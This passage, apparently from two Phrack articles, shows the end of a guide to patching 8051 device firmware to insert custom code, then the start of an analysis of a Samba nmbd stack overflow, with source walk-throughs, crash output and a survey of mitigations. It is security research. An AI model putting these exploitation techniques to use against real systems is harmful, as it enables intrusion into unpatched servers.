2952 53 F8 00     anl     SFR_F8, #0      ; Clear the ROM  security code
2955 22           ret
2955 ; End of function Do_IAP_ERASE
 
  It’s interesting because there is no actual code at location FFF0, but
rather this location has been remapped to an internal function supplied
by the manufacturer of the IC.  We enable this remap by writing a password
and setting the ENBOOT bit.  As was mentioned, the details are in the
datasheet, but this is the general procedure to call the IAP functions with
your desired command in register R1.

Had enough assembly for now?  Let’s get back to the descriptions!

  When using the firmware upgrade mode, the 16k file must pass an internal
checksum where the bytes at 0x0E and 0x0F (0x400E, 0x400F) are set so the
16-bit sum of the entire 16k block is 0x0000.  It’s an easy calculation,
and our program to talk to upgrade mode will check and correct it on the
fly if needed.  When writing your own, please take this into account:  If
the entire file is uploaded but the checksum fails, the device will display
BED CS: ???? on the LCD, with the checksum displayed in the ?? values. 
The EEPROM will not be updated in the case of a failed checksum.  If the
checksum is good, the device will display "Erasing", "Upgrading" for a few
moments and then show the new firmware version before restarting at your
command. 

  Please note is that the 0xC000 block and maybe the 0x8000 blocks are 
used as scratchpad memory when a new 16k BIN file is being uploaded.  So 
if you have located your own code there when you enter firmware upgrade 
mode, be warned that these blocks will be erased automatically on entry 
into upgrade mode.

--[ 8.0 - Inserting Your Own Code

  We assume you have a compiler, and the necessary knowledge to write 8051
code.  The next step is to insert some of our own code for execution.
There are essentially two ways to do this: by patching the finder routines
in the case of using the firmware upgrade mode; Or by patching the
bootloader in the case that you are overwriting all the memory using the
ISP Loader.
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Either one is fine, but space is very limited in the finder routine,
basically consisting of about 1400 bytes up at 0x7A80.  Nonetheless, we
will demonstrate it here. 

The entry point to the finder routines is at 0x4020, jumped to after the
check for the bootloader.  Here we clear some memory and then jump to the
main finder routine at 0x71FE.  By inserting a jump or call right after
we clear the internal RAM, we can divert execution to our own code, which
we assume resides at 0x7A80.  After our code is done, we can continue on
with the normal finder routine by jumping then to 0x71FE.  Or, you can
insert a call down after the RAM clear, and simply return to it.

Original code for finder entry point

org 0x4020
;-------------------------------------------
Finder_Entry:

  mov     R0, #0x7F         ; Load the address of top of RAM
  clr     A                 ; Clear the ACC

Memclear_Loop:              ; seg000_4023
  mov     @R0, A            ; Store a 0 at the address in R0
  djnz    R0, Memclear_Loop ; Decrement R0, loop if not done yet
  mov     SP, #0xA1         ; Set the stack pointer to 0xA1
  ljmp    Finder_Start      ; Continue to 0x71FE

We would insert our jump or call right before the ljmp to Startup. 
After this ljmp, there is blank space up to 0x4070 so it’s no
problem to insert a few instructions here.  For example..

Modified code for finder entry point
 
org 0x4020
;-------------------------------------------
Finder_Entry:

  mov     R0, #0x7F         ; Load the address of top of RAM
  clr     A                 ; Clear the ACC

Memclear_Loop:              ; seg000_4023
  mov     @R0, A            ; Store a 0 at the address in R0
  djnz    R0, Memclear_Loop ; Decrement R0, loop if not done yet
  mov     SP, #0xA1         ; Set the stack pointer to 0xA1
  ljmp    MyRoutine         ; Change this jump to our code
 

org 0x7A80
;-------------------------------------------
MyRoutine:
  do our instructions here
  ...
  ...
  ljmp    Finder_Start      ; Continue to 0x71FE
 
 
 
  Now we have not shown the fact that a lot of data exists between
these two points.  It is best to compile your program and then convert
the .HEX file to .BIN file (using HEX2BIN.exe-search it or download from
reference [C]).  Finally you can insert your new code using copy/paste 
from a hex editor into the proper locations in the original .BIN file 
before upload to the device.

  For the daring folks, it is much better to update the entire EEPROM
using the ISP Loader.  Then, we can basically take over the entire 16k
block at 0x8000.  This one is only erased by command when we’re in the
firmware upgrade mode so it is relatively safe.  If you use the EEPROM
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block at 0xC000, you must not enter firmware upgrade mode or it will
immediately be erased and you will have to reprogram it to get your code
back into the device.

Upon startup, the device begins executing at 0x0000, where we can only fit
one instruction: The reset jump vector.  You can always patch this location
to jump to your code, and later continue with it’s original value by
jumping to location 0x0100.  More desireable is to patch at 0x0109, after
the device has cleared it’s internal RAM and set the stack pointer. 

This code at 0x0100 is almost identical to the start of the finder routine
we looked at before.  Our strategy is identical, and in this example we
will take over at 0x0109 and jump to our code at 0x8000.  Once our code is
done we can continue on by jumping to the next stage of the original
startup routines (checking the next/seek buttons) with a jump to 0x26D2.

Original code for power-on startup.  Jumped to by 0x0000 jump vector.

org 0x0100
;-------------------------------------------
Power-ON:

  mov     R0, #0x7F           ; Load the address of top of RAM
  clr     A                   ; Clear the ACC

Memclear_Loop0:               ; seg000_0103
  mov     @R0, A              ; Store a 0 at the address in R0
  djnz    R0, Memclear_Loop0  ; Decrement R0, loop if not done yet
  mov     SP, #0xA1           ; Set the stack pointer to 0xA1
  ljmp    Boot_Check          ; Continue to 0x26D2

Modified code for power-on startup

org 0x0100
;-------------------------------------------
Power-ON:

  mov     R0, #0x7F           ; Load the address of top of RAM
  clr     A                   ; Clear the ACC

Memclear_Loop0:               ; seg000_0103
  mov     @R0, A              ; Store a 0 at the address in R0
  djnz    R0, Memclear_Loop0  ; Decrement R0, loop if not done yet
  mov     SP, #0xA1           ; Set the stack pointer to 0xA1
  ljmp    MyRoutine           ; Continue to 0x8000 for our code
 
 
org 0x8000
;--------------------------------------------
MyRoutine:
  do our instructions here
  ...
  ...
  ljmp    Boot_Check          ; Continue to 0x26D2

  This approach is a little bit easier to hex edit because it’s just a few
bytes’ change down at 0x0109.  Then we can ignorantly paste up to 16k of
code up at 0x8000.

  Obviously, the best hacks do not use hex editing, but will create a full
.ASM recreation of the rest of the EEPROM.  Either ourselves or another
group will eventually release this .ASM file - we are still negotiating -
but it will take some time as we are all still studying the disassembly.
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--[ 9.0 - Conclusion

  We have just scratched the surface here in this article, to give you the
tools and a starting point for your own development.  More advanced
techniques such as inserting two RS232 interfaces between the two boards
can allow us to monitor all the communications back and forth during the
finder routine or firmware upgrade mode.  With this method we can easily
see the command sequences passed back and forth between the two chips. 
Additionally, USB snooping is a great tool to watch high-level
communication between the PC and the finder at any time.  Also, these
commands can be seen in a complete disassembly and analysis of the firmware
files, which was not included here.  Using your own imagination and
creativity will lead to many other advances we have not even considered!

In conclusion, this article is focused on the hardware hack, so some of
our musings on the software and discussion of our custom software tools
were omitted.  For a more in-depth analysis and details, as well as access
to the software tools described in the article, please visit our web page,
generously hosted by the Openschemes project at [D].

Good luck, and happy hacking!
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--[ 1 - Introduction

On the 15th November, 2007, the Samba team released a security advisory[1]
detailing a stack overflow in the nmbd daemon, specifically in
reply_netbios_packet() function in nmbd/nmbd_packets.c.

This vulnerability requires a specific non-standard configuration 
operation set in smb.conf for the code path to be enabled. Specifically,
"wins support = yes" needs to be set. This specific vulnerability is not
going to be present in a default install, nor likely to be found randomly.
Apart from that, it’s a relatively standard vulnerability, with nothing
to set it apart. 

This article will be my running commentary / analysis while analysing and
exploiting this bug, every little editing of the article will take place 
afterwards.. so if I make a stuff up / discover something applicable later
on that I missed first time, you’ll be able to read all about it.

Initially, I will be concerned about how this affects Ubuntu 7.10 by 
default, however, later on this may change if it turns out not to be
exploitable, due to various protection mechanisms.

--[ 2 - Initial Analysis

The difference between samba-3.0.26 and samba-3.0.27 is shown directly
below:

---------------------------------------------
--- samba-3.0.26/source/nmbd/nmbd_packets.c     
+++ samba-3.0.27/source/nmbd/nmbd_packets.c    
@@ -963,6 +963,12 @@
        nmb->answers->ttl      = ttl;
   
        if (data && len) {
+               if (len < 0 || len > sizeof(nmb->answers->rdata)) {
+                       DEBUG(5,("reply_netbios_packet: "
+                               "invalid packet len (%d)\n",



phrack65/12.txt Fri Jul 01 13:24:52 2022 2

+                               len ));
+                       return;
+               }
                nmb->answers->rdlength = len;
                memcpy(nmb->answers->rdata, data, len);
        }
---------------------------------------------

The additional checks it adds is immediately obvious what the problem is.
Looking at the function declaration of the reply_netbios_packet() we 
see:

---------------------------------------------
void reply_netbios_packet(struct packet_struct *orig_packet,
        int rcode, enum netbios_reply_type_code rcv_code, int opcode,
        int ttl, char *data, int len)
{
        struct packet_struct packet;
        struct nmb_packet *nmb = NULL;
        struct res_rec answers;
        struct nmb_packet *orig_nmb = &orig_packet->packet.nmb;
        BOOL loopback_this_packet = False;
        int rr_type = RR_TYPE_NB;
        const char *packet_type = "unknown";

        /* Check if we are sending to or from ourselves. */
        if( ismyip(orig_packet->ip) && 
            (orig_packet->port == global_nmb_port)
          )
                loopback_this_packet = True;

        nmb = &packet.packet.nmb;
        ..
---------------------------------------------

Checking the to see how much space is allocated in nmb->answers->rdata, 
we see:

---------------------------------------------
/* A resource record. */
struct res_rec {
        struct nmb_name rr_name;
        int rr_type;
        int rr_class;
        int ttl;
        int rdlength;
        char rdata[MAX_DGRAM_SIZE];
};

nameserv.h:#define MAX_DGRAM_SIZE (576) /* tcp/ip datagram limit 
is 576 bytes */
---------------------------------------------

To trigger this vulnerability, we need to determine how to reach the
code in a vulnerable state (with a large len field, greater than 576 
bytes.)

"grep -A 6 reply_netbios_ * | less" in source/nmbd, we see one that 
looks particularly interesting, especially due to advisories mentioning 
"wins support = yes" needing to be configured.

---------------------------------------------
nmbd_winsserver.c:    reply_netbios_packet(p,   /* Packet to reply to. */
nmbd_winsserver.c-                   0,/* Result code. */
nmbd_winsserver.c-                   WINS_QUERY,    /* nmbd type code. */
nmbd_winsserver.c-                   NMB_NAME_QUERY_OPCODE,  /* opcode. */
nmbd_winsserver.c-                   lp_min_wins_ttl(),      /* ttl. */
nmbd_winsserver.c-                   prdata,           /* data to send. */
nmbd_winsserver.c-                   num_ips*6);        /* data length. */
----------------------------------------------
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Examining this code further we see that it’s called in the 
process_wins_dmb_query_request() function. It looks through all 
registered hosts of the type 0x1b, counts them, allocates memory, 
cycles through the linked list again, and records the IP address(es), and
flags associated with that records. Further more, the code doesn’t do any
checks on the data it is about to pass into the reply_netbios_packet()
function.

Of specific interest in the process_wins_dmb_query_request() in
nmbd_winsserver.c, the code is the 
following:

----------------------------------------------
  for(i = 0; i < namerec->data.num_ips; i++) {
    set_nb_flags(&prdata[num_ips * 6],namerec->data.nb_flags);
    putip((char *)&prdata[(num_ips * 6) + 2], &namerec->data.ip[i]);
    num_ips++;
  }
----------------------------------------------

This is constructing the data to be memcpy()’d later on, in 6 byte
increments. This could present a problem later on, as the stack layout
may need to be controlled with extreme precision, and the nb_flags 
details may be validated.

Since this code path looks plausible, we’ll start constructing some code
to trigger this vulnerability.

By doing a packet dump and loading it into WireShark[2], we can look for
a WINS host being registered, and start working on an exploit. So far to 
trigger this vulnerability from reading over the code, we need 
approximately (576 / 6) registrations of type 0x1b, then we need to
search for all 0x1b registrations.

-----------------------------------------------
NetBIOS Name Service
    Transaction ID: 0x7b60
    Flags: 0x2910 (Registration)
        0... .... .... .... = Response: Message is a query
        .010 1... .... .... = Opcode: Registration (5)
        .... ..0. .... .... = Truncated: Message is not truncated
        .... ...1 .... .... = Recursion desired: Do query recursively
        .... .... ...1 .... = Broadcast: Broadcast packet
    Questions: 1
    Answer RRs: 0
    Authority RRs: 0
    Additional RRs: 1
    Queries
        VULN<20>: type NB, class IN
            Name: VULN<20> (Server service)
            Type: NB
            Class: IN
    Additional records
        VULN<20>: type NB, class IN
            Name: VULN<20> (Server service)
            Type: NB
            Class: IN
            Time to live: 0 time
            Data length: 6
            Flags: 0x6000 (H-node, unique)
                0... .... .... .... = Unique name
                .11. .... .... .... = H-node
            Addr: 10.1.1.3
------------------------------------------------

 * Transaction ID is any 16 bit value.
 * Flags is specific value, and is 16 bit.
 * Questions is a 16 bit value.
 * Answer RRs is a 16 bit value.
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 * Authority RRs is a 16 bit value.
 * Additional RRs is a 16 bit value.

The "Queries" section is a 32 byte string, which encodes the type of
registration, in addition with the type/class information. The 
"Additional records" section has the name as 0xc0 0x0c, which seems to
indicate to use the name previously unpacked. Further more, the type
and class information is present, along with time to live, host flag
information, and address information.

It would appear that when registering is taking place, Samba extracts the
flags field in the additional records, and the IP address information, 
and inserts it into the linked list.

With this knowledge, we can start our attempts at exploiting Samba by
triggering the vulnerability. To reduce the amount of work that needs to
be done, we’ll use impacket [3] to reduce our work.

After writing a preliminary exploit, we can verify the code path we choose
was correct. The code to trigger the vulnerability is included. We will
develop the exploit against a default install of Ubuntu 7.10 server 
version.

The crash looks like

------------------------------------------------
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1213143376 (LWP 31330)]
0x080cd22e in ?? ()
(gdb) x/10i $eip
0x80cd22e:      cmp    (%ecx),%al
0x80cd230:      jne    0x80cd242
0x80cd232:      movzbl 0xffff0bde(%ebx),%eax
0x80cd239:      cmp    0x1(%ecx),%al
0x80cd23c:      je     0x80cd35d
0x80cd242:      mov    0xffffffbc(%ebp),%edx
0x80cd245:      lea    0xffffffe0(%ebp),%esi
0x80cd248:      mov    0x50(%edx),%eax
0x80cd24b:      movl   $0x20,0x8(%esp)
0x80cd253:      mov    %edx,0x4(%esp)
(gdb) i r ecx
ecx            0x6b6a6968       1802135912
(gdb) bt
#0  0x080cd22e in ?? ()
#1  0xbfe959c8 in ?? ()
#2  0x08138721 in ?? ()
#3  0x00000000 in ?? ()
------------------------------------------------

The value in ecx, 0x6b6a6968 is taken from the trigger code above, in the
CreatePackets() function, in the ip variable. This at least gives us a 
start in exploiting the service.

--[ 3 - Ubuntu 7.10 Security mechanisms

Here is a quick overview of the preventative security mechanisms I can 
see in the default install of Ubuntu 7.10.

 * dmesg shows NX (Execute Disable) protection: active
 * /proc/pid/maps for nmbd looks like:

-------------------------------------------------
08048000-08145000 r-xp 00000000 08:01 462765     /usr/sbin/nmbd
08145000-08150000 rw-p 000fc000 08:01 462765     /usr/sbin/nmbd
08150000-081ea000 rw-p 08150000 00:00 0          [heap]
...
b7fdd000-b7ff7000 r-xp 00000000 08:01 279708     /lib/ld-2.6.1.so
b7ff7000-b7ff9000 rw-p 00019000 08:01 279708     /lib/ld-2.6.1.so
bfbc9000-bfbdf000 rw-p bfbc9000 00:00 0          [stack]
ffffe000-fffff000 r-xp 00000000 00:00 0          [vdso]
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--------------------------------------------------

So while non-execution may be active in some form, it looks like there may
be some avenues via return-to-text, or jumping to the static vdso mapping.

 * It appears there is a stack cookie implementation being used by the
   compiler which made nmbd - due to strings output.

--------------------------------------------------
# strings /usr/sbin/nmbd | grep -i stack | head -n 1
__stack_chk_fail
---------------------------------------------------

 * SuSE’s apparmor is installed, though a cursory look it doesn’t seem 
   to be used?

---------------------------------------------------
# apparmor_status 
apparmor module is loaded.
0 profiles are loaded.
0 profiles are in enforce mode.
0 profiles are in complain mode.
0 processes have profiles defined.
0 processes are in enforce mode :
0 processes are in complain mode.
0 processes are unconfined but have a profile defined.
---------------------------------------------------

I’d hazard a guess that all memory regions are executable.. but we’ll see 
how it goes.

So far, the only things that may hinder us a bit is that the:

 * exploit is blind (unless a memory leak is found - which can be worked on
   later.. or if we’re lucky, the static memory address that we can use)
 * memory randomisation (a little bit, we have a static .text, and a static
   vdso)
 * stack cookie checking may influence (either negatively, or positively) 
   the avenues we have for exploiting the daemon.

--[ 4 - Source code walk through

To exploit the vulnerability, some of the things we need to do is:

 * verify what flags field can be used, as our exploitation techniques may
   need to keep this in mind, or our shellcode / addresses we use may be 
   affected in some way.
 * Analyze exactly what we’re overflowing, and what is being affected by
   the stack overwrite.
 * Work out how to gain control of execution from the memory overwrite.

To make exploit development easier, we can install the samba-dbg package
that ships with Ubuntu 7.10. The samba-dbg package has applicable symbols
for the samba binaries / libraries. This may significantly help us exploit
the vulnerability, as it will provide variable names, function information,
and so fourth.

Since we have triggered the vulnerability, it’s probably a good idea to 
start from reading the packets in, and finding where the memory is being 
used / defined, and work our way forwards to the memcpy(), then following 
what happens there.

The nmbd server has a main processing loop, called process() funnily 
enough, in nmbd/nmbd.c.

It reads in and queues the network packets, then processes the packets 
as shown below:

------------------------------------------
                /*
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                 * Read incoming UDP packets.
                 * (nmbd_packets.c)
                 */

                if(listen_for_packets(run_election))
                        return;

                ...

                /*
                 * Process all incoming packets
                 * read above. This calls the success and
                 * failure functions registered when response
                 * packets arrrive, and also deals with request
                 * packets from other sources.
                 * (nmbd_packets.c)
                 */

                run_packet_queue();
-------------------------------------------

Which hands off execution to the nmbd/nmbd_packets.c file, in
run_packet_queue()

run_packet_queue() runs through the list of packets (as the name would
suggest), identifying if it is NMB packet, or a "dgram" packet. If it is a 
NMB packet, it checks to see whether or not it is a request, or a response.

As we’re dealing with a request type, it hands off execution to
process_nmb_request() (which is in the same file as before,
nmbd/nmbd_packets.c).

process_nmb_request() examines the opcode, and hands off execution to
wins_process_name_query_request() in nmbd/nmbd_winsserver.c

A partial extract of the wins_process_name_query_request() is shown below:

--------------------------------------------
1879 /*********************************************************************
1880  Deal with a name query.
1881 *********************************************************************/
1882 
1883 void wins_process_name_query_request(struct subnet_record *subrec,
1884                                      struct packet_struct *p)
1885 {
1886         struct nmb_packet *nmb = &p->packet.nmb;
1887         struct nmb_name *question = &nmb->question.question_name;
1888         struct name_record *namerec = NULL;
1889         unstring qname;
1890 
1891 DEBUG(3,(
         "wins_process_name_query: name query for name %s from IP %s\n",
1892                 nmb_namestr(question), inet_ntoa(p->ip) ));
1893 
1894         /*
1895          * Special name code. If the queried name is *<1b> then search
1896          * the entire WINS database and return a list of all the IP 
                addresses
1897          * registered to any <1b> name. This is to allow domain master
                browsers
1898          * to discover other domains that may not have a presence on 
                their subnet.
1899          */
1900 
1901         pull_ascii_nstring(qname, sizeof(qname), question->name);
1902         if(strequal( qname, "*") && (question->name_type == 0x1b)) {
1903                 process_wins_dmb_query_request( subrec, p);
1904                 return;
1905         }
1906



phrack65/12.txt Fri Jul 01 13:24:52 2022 7

--------------------------------------------

Since our trigger packet matches the requirement at 1902, we then jump 
on to process_wins_dmb_query_request again in nmbd_winsserver.c. Some 
comments are inline.

--------------------------------------------
1749 /********************************************************************
1750  Deal with the special name query for *<1b>
1751 ********************************************************************/
1752 
1753 static void process_wins_dmb_query_request(
                                             struct subnet_record *subrec,
1754                                         struct packet_struct *p)
1755 {
1756         struct name_record *namerec = NULL;
1757         char *prdata;
1758         int num_ips;
1759 
1760         /*
1761          * Go through all the ACTIVE names in the WINS db looking for 
                those
1762          * ending in <1b>. Use this to calculate the number of IP
1763          * addresses we need to return.
1764          */
1765 
1766         num_ips = 0;
1767 
1768         /* First, clear the in memory list - we’re going to 
                re-populate
1769            it with the tdb_traversal in 
                fetch_all_active_wins_1b_names. */
1770 
1771         wins_delete_all_tmp_in_memory_records();
1772 
1773         fetch_all_active_wins_1b_names();
1774 
1775         for( namerec = subrec->namelist; namerec; namerec = 
                             namerec->next ) {
1776             if( WINS_STATE_ACTIVE(namerec) && 
                           namerec->name.name_type == 0x1b) {
1777                         num_ips += namerec->data.num_ips;

Count how many IP addresses are active, per registration.

1778                 }
1779         }
1780 
1781         if(num_ips == 0) {

None? then bail. 

1782                 /*
1783                  * There are no 0x1b names registered. 
                        Return name query fail.
1784                  */
1785                 send_wins_name_query_response(NAM_ERR, p, NULL);
1786                 return;
1787         }
1788 
1789         if((prdata = (char *)SMB_MALLOC( num_ips * 6 )) == NULL) {

Allocate required temporary memory. free()’d at end of function.

1790         DEBUG(0,("process_wins_dmb_query_request: Malloc fail !.\n"));
1791                 return;
1792         }
1793 
1794         /*
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1795          * Go through all the names again in the WINS db looking for 
                those
1796          * ending in <1b>. Add their IP addresses into the list 
                we will
1797          * return.
1798          */
1799 
1800         num_ips = 0;
1801         for( namerec = subrec->namelist; namerec; namerec = 
                  namerec->next ) {
1802                 if( WINS_STATE_ACTIVE(namerec) && 
                              namerec->name.name_type == 0x1b) {

Scan through the linked list of name records, finding suitable records that
meet the above requirements.

1803                         int i;
1804                         for(i = 0; i < namerec->data.num_ips; i++) {
1805                                 set_nb_flags(&prdata[num_ips * 6],
                                     namerec->data.nb_flags);
1806                                 putip((char *)&
                         prdata[(num_ips * 6) + 2], &namerec->data.ip[i]);
1807                                 num_ips++;
1808                         }

Copy the data into the allocated memory. Memory is formatted of the type:
[2 byte flags field][4 byte ip address]

1809                 }
1810         }
1811 
1812         /*
1813          * Send back the reply containing the IP list.
1814          */
1815 
1816         reply_netbios_packet(p,              /* Packet to reply to. */
1817                       0,                     /* Result code. */
1818                       WINS_QUERY,            /* nmbd type code. */
1819                       NMB_NAME_QUERY_OPCODE,         /* opcode. */
1820                       lp_min_wins_ttl(),             /* ttl. */
1821                       prdata,                     /* data to send. */
1822                       num_ips*6);                 /* data length. */
1823 

Call reply_netbios_packet. If reached where num_ips*6 > 576, it will 
trigger the vulnerability.

1824         SAFE_FREE(prdata);
1825 }
1826 
--------------------------------------------

And looking at reply_netbios_packet(), we see:

--------------------------------------------
 856 /*******************************************************************
 857   Reply to a netbios name packet.  see rfc1002.txt
 858 ********************************************************************/
 859 
 860 void reply_netbios_packet(struct packet_struct *orig_packet,
 861                           int rcode, enum netbios_reply_type_code 
                               rcv_code, 
                               int opcode,
 862                           int ttl, char *data,int len)
 863 {
 864         struct packet_struct packet;

Locally defined struct packet on the stack

 865         struct nmb_packet *nmb = NULL;
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 866         struct res_rec answers;

Locally defined res_rec on the stack.

 867         struct nmb_packet *orig_nmb = &orig_packet->packet.nmb;
 868         BOOL loopback_this_packet = False;
 869         int rr_type = RR_TYPE_NB;
 870         const char *packet_type = "unknown";
 871 
 872         /* Check if we are sending to or from ourselves. */
 873         if(ismyip(orig_packet->ip) && (orig_packet->port == 
                global_nmb_port))
 874                 loopback_this_packet = True;
 875 
 876         nmb = &packet.packet.nmb;

Point nmb inside of the above locally declared packet.

 877 
 878         /* Do a partial copy of the packet. We clear the locked flag
              and
 879                         the resource record pointers. */
 880         packet = *orig_packet;   /* Full structure copy. */
 881         packet.locked = False;

Build the nmb packet response

 882         nmb->answers = NULL;
 883         nmb->nsrecs = NULL;
 884         nmb->additional = NULL;
 885 
 886         switch (rcv_code) {
 887                 case NMB_STATUS:
 888                         packet_type = "nmb_status";
 889                        nmb->header.nm_flags.recursion_desired = False;
 890                      nmb->header.nm_flags.recursion_available = False;
 891                         rr_type = RR_TYPE_NBSTAT;
 892                         break;
 893                 case NMB_QUERY:
 894                         packet_type = "nmb_query";
 895                        nmb->header.nm_flags.recursion_desired = True;
 896                      nmb->header.nm_flags.recursion_available = True;
 897                         if (rcode) {
 898                                 rr_type = RR_TYPE_NULL;
 899                         }
 900                         break;
 901                 case NMB_REG:
 902                 case NMB_REG_REFRESH:
 903                         packet_type = "nmb_reg";
 904                       nmb->header.nm_flags.recursion_desired = True;
 905                      nmb->header.nm_flags.recursion_available = True;
 906                         break;
 907                 case NMB_REL:
 908                         packet_type = "nmb_rel";
 909                       nmb->header.nm_flags.recursion_desired = False;
 910                     nmb->header.nm_flags.recursion_available = False;
 911                         break;
 912                 case NMB_WAIT_ACK:
 913                         packet_type = "nmb_wack";
 914                       nmb->header.nm_flags.recursion_desired = False;
 915                     nmb->header.nm_flags.recursion_available = False;
 916                         rr_type = RR_TYPE_NULL;
 917                         break;
 918                 case WINS_REG:
 919                         packet_type = "wins_reg";
 920                       nmb->header.nm_flags.recursion_desired = True;
 921                      nmb->header.nm_flags.recursion_available = True;
 922                         break;
 923                 case WINS_QUERY:
 924                         packet_type = "wins_query";
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 925                      nmb->header.nm_flags.recursion_desired = True;
 926                      nmb->header.nm_flags.recursion_available = True;
 927                         if (rcode) {
 928                                 rr_type = RR_TYPE_NULL;
 929                         }
 930                         break;
 931                 default:
 932 DEBUG(0,(
           "reply_netbios_packet: Unknown packet type: %s %s to ip %s\n",
 933          packet_type, nmb_namestr(&orig_nmb->question.question_name),
 934                                 inet_ntoa(packet.ip)));
 935                         return;
 936         }
 937 
 938         DEBUG(4,(
   "reply_netbios_packet: sending a reply of packet type: %s %s to ip %s \
 939 for id %hu\n", packet_type, nmb_namestr
            (&orig_nmb->question.question_name),
 940              inet_ntoa(packet.ip), orig_nmb->header.name_trn_id));
 941 
 942         nmb->header.name_trn_id = orig_nmb->header.name_trn_id;
 943         nmb->header.opcode = opcode;
 944         nmb->header.response = True;
 945         nmb->header.nm_flags.bcast = False;
 946         nmb->header.nm_flags.trunc = False;
 947         nmb->header.nm_flags.authoritative = True;
 948 
 949         nmb->header.rcode = rcode;
 950         nmb->header.qdcount = 0;
 951         nmb->header.ancount = 1;
 952         nmb->header.nscount = 0;
 953         nmb->header.arcount = 0;
 954 

Finished building the nmb packet header, now on with the show.

 955         memset((char*)&nmb->question,’\0’,sizeof(nmb->question));
 956 
 957         nmb->answers = &answers;
 958         memset((char*)nmb->answers,’\0’,sizeof(*nmb->answers));

Setup nmb->answers, zero the memory.

 959 
 960         nmb->answers->rr_name  = orig_nmb->question.question_name;
 961         nmb->answers->rr_type  = rr_type;
 962         nmb->answers->rr_class = RR_CLASS_IN;
 963         nmb->answers->ttl      = ttl;
 964 
 965         if (data && len) {
 966                 nmb->answers->rdlength = len;
 967                 memcpy(nmb->answers->rdata, data, len);

Trigger the overflow, which writes into the function allocated copy of
answers->rdata, which is defined/mentioned above as:

/* A resource record. */
struct res_rec {
        struct nmb_name rr_name;
        int rr_type;
        int rr_class;
        int ttl;
        int rdlength;
        char rdata[MAX_DGRAM_SIZE];
};

nameserv.h:#define MAX_DGRAM_SIZE (576) 
/* tcp/ip datagram limit is 576 bytes */

 968         }
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 969 
 970         packet.packet_type = NMB_PACKET;
 971         /* Ensure we send out on the same fd that the original
 972                 packet came in on to give the correct source IP 
             address. */
 973         packet.fd = orig_packet->fd;
 974         packet.timestamp = time(NULL);
 975 
 976         debug_nmb_packet(&packet);
 977 
 978         if(loopback_this_packet) {
 979                 struct packet_struct *lo_packet;
 980                 DEBUG(5,(
         "reply_netbios_packet: sending packet to ourselves.\n"));
 981                 if((lo_packet = copy_packet(&packet)) == NULL)
 982                         return;
 983                 queue_packet(lo_packet);
 984         } else if (!send_packet(&packet)) {
 985                 DEBUG(0,(
          "reply_netbios_packet: send_packet to IP %s port %d failed\n",
 986                         inet_ntoa(packet.ip),packet.port));
 987         }
 988 }
 989 
--------------------------------------------

Unfortunately, since we saw mention of stack cookies and checks, it appears
that we can’t just overwrite the saved eip and test if we have code 
execution - indeed, running the exploit with too few registrations provide
us with the message of:

--------------------------------------------
*** stack smashing detected ***: /usr/sbin/nmbd terminated
--------------------------------------------

This means that it’s probable we’ll have to see what we can get away with
in the processing of send_packet(). send_packet() is located in 
libsmb/nmblib.c

Looking at send_packet(), we find the following:

--------------------------------------------
 982 /*******************************************************************
 983  Send a packet_struct.
 984 ******************************************************************/
 985 
 986 BOOL send_packet(struct packet_struct *p)
 987 {
 988         char buf[1024];
 989         int len=0;
 990 
 991         memset(buf,’\0’,sizeof(buf));
 992 
 993         len = build_packet(buf, p);
 994 
 995         if (!len)
 996                 return(False);
 997 
 998         return(send_udp(p->fd,buf,len,p->ip,p->port));
 999 }
1000 
--------------------------------------------

The "char buf[1024];" looks interesting, and maybe useful. 

Followed by the obvious:

--------------------------------------------
 961 /*******************************************************************
 962  Linearise a packet.
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 963 ******************************************************************/
 964 
 965 int build_packet(char *buf, struct packet_struct *p)
 966 {
 967         int len = 0;
 968 
 969         switch (p->packet_type) {
 970         case NMB_PACKET:
 971                 len = build_nmb(buf,p);
 972                 break;
 973 
 974         case DGRAM_PACKET:
 975                 len = build_dgram(buf,p);
 976                 break;
 977         }
 978 
 979         return len;
 980 }
--------------------------------------------

Followed by the call once again, to build_nmb():

--------------------------------------------
 881 /*******************************************************************
 882  Build a nmb packet ready for sending.
 883 
 884  XXXX this currently relies on not being passed something that expands
 885  to a packet too big for the buffer. Eventually this should be
 886  changed to set the trunc bit so the receiver can request the rest
 887  via tcp (when that becomes supported)
 888 ******************************************************************/
 889 
 890 static int build_nmb(char *buf,struct packet_struct *p)
 891 {
 892         struct nmb_packet *nmb = &p->packet.nmb;
 893         unsigned char *ubuf = (unsigned char *)buf;
 894         int offset=0;
 895 
 896         /* put in the header */
 897         RSSVAL(ubuf,offset,nmb->header.name_trn_id);
 898         ubuf[offset+2] = (nmb->header.opcode & 0xF) << 3;
 899         if (nmb->header.response)
 900                 ubuf[offset+2] |= (1<<7);
 901         if (nmb->header.nm_flags.authoritative &&
 902                         nmb->header.response)
 903                 ubuf[offset+2] |= 0x4;
 904         if (nmb->header.nm_flags.trunc)
 905                 ubuf[offset+2] |= 0x2;
 906         if (nmb->header.nm_flags.recursion_desired)
 907                 ubuf[offset+2] |= 0x1;
 908         if (nmb->header.nm_flags.recursion_available &&
 909                         nmb->header.response)
 910                 ubuf[offset+3] |= 0x80;
 911         if (nmb->header.nm_flags.bcast)
 912                 ubuf[offset+3] |= 0x10;
 913         ubuf[offset+3] |= (nmb->header.rcode & 0xF);
 914 
 915         RSSVAL(ubuf,offset+4,nmb->header.qdcount);
 916         RSSVAL(ubuf,offset+6,nmb->header.ancount);
 917         RSSVAL(ubuf,offset+8,nmb->header.nscount);
 918         RSSVAL(ubuf,offset+10,nmb->header.arcount);
 919 
 920         offset += 12;
 921         if (nmb->header.qdcount) {
 922                 /* XXXX this doesn’t handle a qdcount of > 1 */
 923                 offset += put_nmb_name((char *)ubuf,offset,
                     &nmb->question.question_name);
 924                 RSSVAL(ubuf,offset,nmb->question.question_type);
 925                 RSSVAL(ubuf,offset+2,nmb->question.question_class);
 926                 offset += 4;
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 927         }
 928 
 929         if (nmb->header.ancount)
 930                 offset += 
                       put_res_rec((char *)ubuf,offset,nmb->answers,
 931                                 nmb->header.ancount);
 932 
 933         if (nmb->header.nscount)
 934                 offset += put_res_rec((char *)ubuf,offset,nmb->nsrecs,
 935                                 nmb->header.nscount);
 936 
 937         /*
 938          * The spec says we must put compressed name pointers
 939          * in the following outgoing packets :
 940          * NAME_REGISTRATION_REQUEST, NAME_REFRESH_REQUEST,
 941          * NAME_RELEASE_REQUEST.
 942          */
 943 
 944         if((nmb->header.response == False) &&
 945           ((nmb->header.opcode == NMB_NAME_REG_OPCODE) ||
 946           (nmb->header.opcode == NMB_NAME_RELEASE_OPCODE) ||
